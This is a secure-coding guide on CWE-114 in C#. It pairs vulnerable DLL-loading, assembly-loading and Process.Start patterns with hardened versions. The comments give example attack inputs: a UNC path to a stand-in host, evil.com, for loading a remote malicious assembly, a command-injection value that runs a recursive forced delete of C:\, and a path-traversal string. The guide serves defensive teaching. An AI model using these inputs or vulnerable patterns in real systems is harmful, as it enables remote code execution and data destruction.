Skip to content

CWE-114: Process Control - C#

Overview

In C#, CWE-114 vulnerabilities occur when loading DLLs or executing processes without proper validation. Attackers exploit weak library loading through DLL hijacking, DllImport path manipulation, and Process.Start() command injection. .NET applications are vulnerable to both native DLL loading (P/Invoke) and managed assembly loading.

Primary Defence: Use SetDllDirectory() and LoadLibraryEx() with LOAD_LIBRARY_SEARCH_* flags for secure DLL loading, configure ProcessStartInfo with UseShellExecute=false and explicit argument arrays, and implement authorization checks and resource limits for process spawning to prevent DLL hijacking and command injection.

Common Vulnerable Patterns

DllImport without absolute path

using System;
using System.Runtime.InteropServices;

// VULNERABLE - Searches DLL search path, subject to DLL hijacking
public class UnsafeNativeLoader
{
    // DLL search order:
    // 1. Application directory
    // 2. Current directory ← DANGEROUS
    // 3. System32
    // 4. Windows directory
    // 5. PATH directories

    // Attacker can place malicious nativelib.dll in current directory
    [DllImport("nativelib.dll")]
    private static extern int ProcessData(string data);

    public void ExecuteNative(string userInput)
    {
        // Loads DLL from search path - can be hijacked
        ProcessData(userInput);
    }
}

// Attack: Place evil nativelib.dll in application directory or current directory

Why this is vulnerable: DllImport searches the DLL search path including the current directory, allowing DLL hijacking attacks where malicious DLLs with legitimate names placed in user-writable directories get loaded instead of system libraries.

Assembly.LoadFrom() with user-controlled path

using System;
using System.Reflection;

public class UnsafePluginLoader
{
    // VULNERABLE - User controls path, can load arbitrary code
    public void LoadPlugin(string pluginPath)
    {
        // No validation - attacker can specify any path
        Assembly assembly = Assembly.LoadFrom(pluginPath);

        Type pluginType = assembly.GetType("Plugin.Main");
        object instance = Activator.CreateInstance(pluginType);

        // Execute arbitrary code from user-specified assembly
        MethodInfo method = pluginType.GetMethod("Execute");
        method.Invoke(instance, null);
    }
}

// Attack: pluginPath = "\\\\evil.com\\share\\malicious.dll"

Why this is vulnerable: Loading assemblies from user-controlled paths allows attackers to execute arbitrary .NET code by specifying malicious DLLs, including remote UNC paths that can load code from attacker-controlled servers.

Process.Start() with shell execution

using System.Diagnostics;

public class UnsafeProcessStarter
{
    // VULNERABLE - Command injection via shell
    public void ConvertImage(string inputFile)
    {
        var startInfo = new ProcessStartInfo
        {
            FileName = "cmd.exe",
            Arguments = $"/c convert {inputFile} output.png",
            UseShellExecute = true  // ← DANGEROUS: Uses shell
        };

        Process.Start(startInfo);
    }
}

// Attack: inputFile = "input.jpg & del /f /s /q C:\\*"
// Executes: cmd.exe /c convert input.jpg & del /f /s /q C:\* output.png

Why this is vulnerable: Using UseShellExecute=true processes arguments through cmd.exe, allowing command injection via shell metacharacters (&, |, ;, etc.) that can execute arbitrary commands.

Building paths from user input

using System;
using System.IO;

public class UnsafeDllLoader
{
    // VULNERABLE - Path concatenation allows path traversal
    public IntPtr LoadLibrary(string libraryName)
    {
        string basePath = @"C:\App\Libraries\";

        // No validation - attacker can use ..\ to escape
        string fullPath = Path.Combine(basePath, libraryName);

        // Can load DLL from anywhere on filesystem
        return NativeMethods.LoadLibrary(fullPath);
    }
}

// Attack: libraryName = "..\\..\\..\\Windows\\System32\\evil.dll"
// Loads: C:\Windows\System32\evil.dll instead of C:\App\Libraries\

Why this is vulnerable: Using Path.Combine without validation allows path traversal attacks using ..\ sequences to escape the intended directory and load DLLs from arbitrary locations on the filesystem.

Secure Patterns

DllImport with absolute path and SetDllDirectory()

using System;
using System.IO;
using System.Runtime.InteropServices;

public class SecureNativeLoader
{
    private static readonly string LibraryDirectory = 
        Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NativeLibs");

    // Set DLL search directory at application startup
    static SecureNativeLoader()
    {
        // Modern approach: restrict search and add a trusted DLL directory.
        if (!SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 |
                                      LOAD_LIBRARY_SEARCH_USER_DIRS))
        {
            throw new InvalidOperationException("Failed to set DLL directories");
        }

        if (AddDllDirectory(LibraryDirectory) == IntPtr.Zero)
        {
            throw new InvalidOperationException("Failed to add DLL directory");
        }

        // Legacy alternative (older apps): SetDllDirectory(LibraryDirectory).
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetDefaultDllDirectories(uint directoryFlags);

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern IntPtr AddDllDirectory(string newDirectory);

    private const uint LOAD_LIBRARY_SEARCH_SYSTEM32 = 0x00000800;
    private const uint LOAD_LIBRARY_SEARCH_USER_DIRS = 0x00000400;

    // Use full path in DllImport
    [DefaultDllImportSearchPaths(DllImportSearchPath.System32 | 
                                 DllImportSearchPath.UserDirectories)]
    [DllImport("nativelib.dll", CharSet = CharSet.Unicode)]
    private static extern int ProcessData(string data);

    public int ExecuteNative(string userInput)
    {
        // Validate input before passing to native code
        if (string.IsNullOrEmpty(userInput) || userInput.Length > 1024)
        {
            throw new ArgumentException("Invalid input");
        }

        return ProcessData(userInput);
    }
}

Why this works:

  • Removes the current directory from the DLL search order.
  • Restricts search to trusted directories (app NativeLibs, System32).
  • Applies process-wide so subsequent P/Invoke calls inherit the policy.
  • Reduces DLL hijacking risk from user-writable locations.

LoadLibrary() with absolute path and validation

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Cryptography;

public class SecureDllLoader
{
    private static readonly string TrustedLibraryPath = 
        @"C:\Program Files\MyApp\Libraries";

    private static readonly string[] AllowedLibraries = 
    {
        "cryptolib.dll",
        "imagelib.dll",
        "datalib.dll"
    };

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern IntPtr LoadLibraryEx(
        string lpFileName, 
        IntPtr hFile, 
        uint dwFlags);

    private const uint LOAD_LIBRARY_SEARCH_SYSTEM32 = 0x00000800;
    private const uint LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR = 0x00000100;

    public IntPtr LoadTrustedLibrary(string libraryName)
    {
        // Validate library is in allowlist
        if (!AllowedLibraries.Contains(libraryName, StringComparer.OrdinalIgnoreCase))
        {
            throw new ArgumentException($"Library not in allowlist: {libraryName}");
        }

        // Construct absolute path
        string fullPath = Path.Combine(TrustedLibraryPath, libraryName);

        // Get canonical path (resolves .., symlinks)
        string canonicalPath = Path.GetFullPath(fullPath);

        // Verify path hasn't escaped trusted directory
        if (!canonicalPath.StartsWith(TrustedLibraryPath, 
                                      StringComparison.OrdinalIgnoreCase))
        {
            throw new SecurityException("Path traversal attempt detected");
        }

        // Verify file exists
        if (!File.Exists(canonicalPath))
        {
            throw new FileNotFoundException($"Library not found: {canonicalPath}");
        }

        // Verify file signature (Authenticode)
        if (!VerifyFileSignature(canonicalPath))
        {
            throw new SecurityException("DLL signature verification failed");
        }

        // Load with restricted search path
        IntPtr handle = LoadLibraryEx(
            canonicalPath, 
            IntPtr.Zero,
            LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_SYSTEM32
        );

        if (handle == IntPtr.Zero)
        {
            int error = Marshal.GetLastWin32Error();
            throw new InvalidOperationException($"LoadLibraryEx failed: {error}");
        }

        return handle;
    }

    private bool VerifyFileSignature(string filePath)
    {
        // Verify Authenticode signature
        // Production: Use WinVerifyTrust API or X509Certificate2

        // Simple hash verification for trusted internal DLLs
        byte[] fileHash = ComputeSHA256(filePath);
        byte[] expectedHash = GetExpectedHash(Path.GetFileName(filePath));

        if (expectedHash.Length == 0 || fileHash.Length != expectedHash.Length)
        {
            return false;
        }

        return fileHash.SequenceEqual(expectedHash);
    }

    private byte[] ComputeSHA256(string filePath)
    {
        using (var sha256 = SHA256.Create())
        using (var stream = File.OpenRead(filePath))
        {
            return sha256.ComputeHash(stream);
        }
    }

    private byte[] GetExpectedHash(string fileName)
    {
        // In production: Load from secure configuration
        var hashes = new Dictionary<string, byte[]>
        {
            ["cryptolib.dll"] = new byte[] { /* SHA-256 hash */ },
            ["imagelib.dll"] = new byte[] { /* SHA-256 hash */ },
            ["datalib.dll"] = new byte[] { /* SHA-256 hash */ }
        };

        return hashes.TryGetValue(fileName, out byte[] hash) 
            ? hash 
            : Array.Empty<byte>();
    }
}

Why this works:

  • Allowlists restrict which DLL names can be loaded.
  • Canonical path checks block traversal outside trusted directories.
  • LoadLibraryEx() flags restrict search scope to trusted paths.
  • Hash/signature verification detects tampering or substitution.
  • Each layer reduces risk if another check is bypassed.

Process.Start() without shell, with argument validation

using System;
using System.Diagnostics;
using System.IO;
using System.Linq;

public class SecureProcessStarter
{
    private static readonly string AllowedBinaryPath = 
        @"C:\Program Files\ImageMagick\convert.exe";

    private static readonly string AllowedInputDirectory = 
        @"C:\App\Uploads";

    private static readonly string AllowedOutputDirectory = 
        @"C:\App\Outputs";

    public void ConvertImage(string inputFile, string outputFile)
    {
        // Validate input file path
        string inputFullPath = Path.GetFullPath(
            Path.Combine(AllowedInputDirectory, inputFile));

        if (!inputFullPath.StartsWith(AllowedInputDirectory, 
                                      StringComparison.OrdinalIgnoreCase))
        {
            throw new ArgumentException("Input file outside allowed directory");
        }

        if (!File.Exists(inputFullPath))
        {
            throw new FileNotFoundException("Input file not found");
        }

        // Validate output file path
        string outputFullPath = Path.GetFullPath(
            Path.Combine(AllowedOutputDirectory, outputFile));

        if (!outputFullPath.StartsWith(AllowedOutputDirectory,
                                       StringComparison.OrdinalIgnoreCase))
        {
            throw new ArgumentException("Output file outside allowed directory");
        }

        // Configure process without shell
        var startInfo = new ProcessStartInfo
        {
            FileName = AllowedBinaryPath,  // Absolute path to binary
            UseShellExecute = false,       // NO SHELL - prevents injection
            CreateNoWindow = true,
            RedirectStandardOutput = true,
            RedirectStandardError = true,

            // Clear environment variables to prevent attacks
            // Don't inherit PATH, LD_PRELOAD, etc.
        };

        // Clear all environment variables
        startInfo.Environment.Clear();

        // Add only required variables
        startInfo.Environment["TEMP"] = Path.GetTempPath();
        startInfo.Environment["TMP"] = Path.GetTempPath();

        // Add arguments individually (no shell interpretation)
        startInfo.ArgumentList.Add(inputFullPath);
        startInfo.ArgumentList.Add(outputFullPath);

        // Execute process
        using (Process process = Process.Start(startInfo))
        {
            if (process == null)
            {
                throw new InvalidOperationException("Failed to start process");
            }

            // Set timeout to prevent DoS
            if (!process.WaitForExit(30000))  // 30 second timeout
            {
                process.Kill();
                throw new TimeoutException("Process execution timeout");
            }

            if (process.ExitCode != 0)
            {
                string error = process.StandardError.ReadToEnd();
                throw new InvalidOperationException(
                    $"Process failed with exit code {process.ExitCode}: {error}");
            }
        }
    }
}

Why this works:

  • UseShellExecute = false avoids shell metacharacter parsing.
  • ArgumentList passes arguments as discrete values.
  • Absolute binary path prevents PATH hijacking.
  • Cleared environment removes dangerous inherited variables.
  • Path canonicalization enforces allowed directories.
  • Timeouts prevent hung processes from exhausting resources.

Secure assembly loading with strong name verification

using System;
using System.IO;
using System.Reflection;
using System.Linq;
using System.Security.Cryptography;

public class SecurePluginLoader
{
    private static readonly string PluginDirectory = 
        Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Plugins");

    private static readonly string[] AllowedPlugins = 
    {
        "Plugin.Authentication.dll",
        "Plugin.Logging.dll",
        "Plugin.DataAccess.dll"
    };

    // Expected public key token for strong-named assemblies
    private static readonly byte[] ExpectedPublicKeyToken = 
        new byte[] { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90 };

    public Assembly LoadPlugin(string pluginName)
    {
        // Validate plugin is in allowlist
        if (!AllowedPlugins.Contains(pluginName, StringComparer.OrdinalIgnoreCase))
        {
            throw new ArgumentException($"Plugin not in allowlist: {pluginName}");
        }

        // Construct absolute path
        string pluginPath = Path.Combine(PluginDirectory, pluginName);
        string canonicalPath = Path.GetFullPath(pluginPath);

        // Verify path hasn't escaped plugin directory
        if (!canonicalPath.StartsWith(PluginDirectory, 
                                      StringComparison.OrdinalIgnoreCase))
        {
            throw new SecurityException("Path traversal attempt detected");
        }

        // Verify file exists
        if (!File.Exists(canonicalPath))
        {
            throw new FileNotFoundException($"Plugin not found: {canonicalPath}");
        }

        // Load assembly
        Assembly assembly = Assembly.LoadFrom(canonicalPath);

        // Verify strong name signature
        AssemblyName assemblyName = assembly.GetName();
        byte[] publicKeyToken = assemblyName.GetPublicKeyToken();

        if (publicKeyToken == null || publicKeyToken.Length == 0)
        {
            throw new SecurityException("Assembly is not strong-named");
        }

        if (!publicKeyToken.SequenceEqual(ExpectedPublicKeyToken))
        {
            throw new SecurityException("Assembly public key token mismatch");
        }

        // Verify assembly hash
        if (!VerifyAssemblyHash(canonicalPath, pluginName))
        {
            throw new SecurityException("Assembly hash verification failed");
        }

        return assembly;
    }

    private bool VerifyAssemblyHash(string assemblyPath, string assemblyName)
    {
        // Compute SHA-256 hash of assembly
        byte[] actualHash;
        using (var sha256 = SHA256.Create())
        using (var stream = File.OpenRead(assemblyPath))
        {
            actualHash = sha256.ComputeHash(stream);
        }

        // Compare with expected hash (from secure configuration)
        byte[] expectedHash = GetExpectedAssemblyHash(assemblyName);

        return actualHash.SequenceEqual(expectedHash);
    }

    private byte[] GetExpectedAssemblyHash(string assemblyName)
    {
        // In production: Load from encrypted configuration or database
        var hashes = new Dictionary<string, byte[]>
        {
            ["Plugin.Authentication.dll"] = new byte[] { /* SHA-256 */ },
            ["Plugin.Logging.dll"] = new byte[] { /* SHA-256 */ },
            ["Plugin.DataAccess.dll"] = new byte[] { /* SHA-256 */ }
        };

        return hashes.TryGetValue(assemblyName, out byte[] hash) 
            ? hash 
            : Array.Empty<byte>();
    }

    // Create AppDomain with restricted permissions (optional)
    public AppDomain CreateSandboxedDomain(string domainName)
    {
        var setup = new AppDomainSetup
        {
            ApplicationBase = PluginDirectory,
            DisallowBindingRedirects = true,
            DisallowCodeDownload = true
        };

        // Define minimal permissions for plugin execution
        var permissions = new System.Security.PermissionSet(
            System.Security.Permissions.PermissionState.None);

        // Grant only necessary permissions
        permissions.AddPermission(
            new System.Security.Permissions.SecurityPermission(
                System.Security.Permissions.SecurityPermissionFlag.Execution));

        return AppDomain.CreateDomain(domainName, null, setup, permissions);
    }
}

Why this works:

  • Strong-name validation ensures publisher authenticity.
  • Public key token checks prevent untrusted signers.
  • Allowlists and path checks block traversal and rogue plugins.
  • Hash verification adds tamper detection.
  • Optional sandboxing limits damage from compromised plugins.

Additional Resources